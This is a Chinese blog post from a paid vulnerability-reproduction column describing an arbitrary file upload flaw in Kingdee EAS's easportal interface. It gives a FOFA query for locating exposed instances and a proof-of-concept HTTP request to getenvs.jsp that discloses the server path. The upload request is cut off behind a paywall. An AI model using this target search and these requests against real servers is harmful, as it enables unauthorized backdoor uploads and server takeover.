金蝶EAS easportal文件上传

今天晚上早睡觉

已于 2024-03-11 20:47:37 修改

阅读量439

点赞数 3

CC 4.0 BY-SA版权

分类专栏：漏洞复现文章标签： web安全

于 2024-03-11 20:47:15 首次发布

本文链接：https://blog.csdn.net/weixin_43567873/article/details/136634752

漏洞复现专栏收录该内容

363 篇文章 ¥9.90 ¥99.00

订阅专栏

超级会员免费看

本文介绍了金蝶EAS的easportal模块存在的文件上传漏洞，详细阐述了漏洞概述、复现过程和POC，同时给出了修复建议，包括升级版本来防止恶意文件上传。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

0x01 产品介绍

金蝶EAS帮助企业构筑业财资税票档一体化平台，提升企业在市场竞争中的数字战斗力，其中easportal存在任意文件上传。

0x02 漏洞概述

金碟EAS easportal接口处存在任意文件上传漏洞，攻击者可以通过构造特殊请求包上传恶意后门文件，从而获取服务器权限。

搜索语法
fofa语法查找:app=”Kingdee-EAS”

0x03 漏洞复现

页面

poc:
第一个获取路径

GET /easportal/tools/getenvs.jsp HTTP/1.1
Host: 1.1.1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Connection: close
Accept: */*
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded

第二个上传

GET /easportal/

了解本专栏

超级会员免费看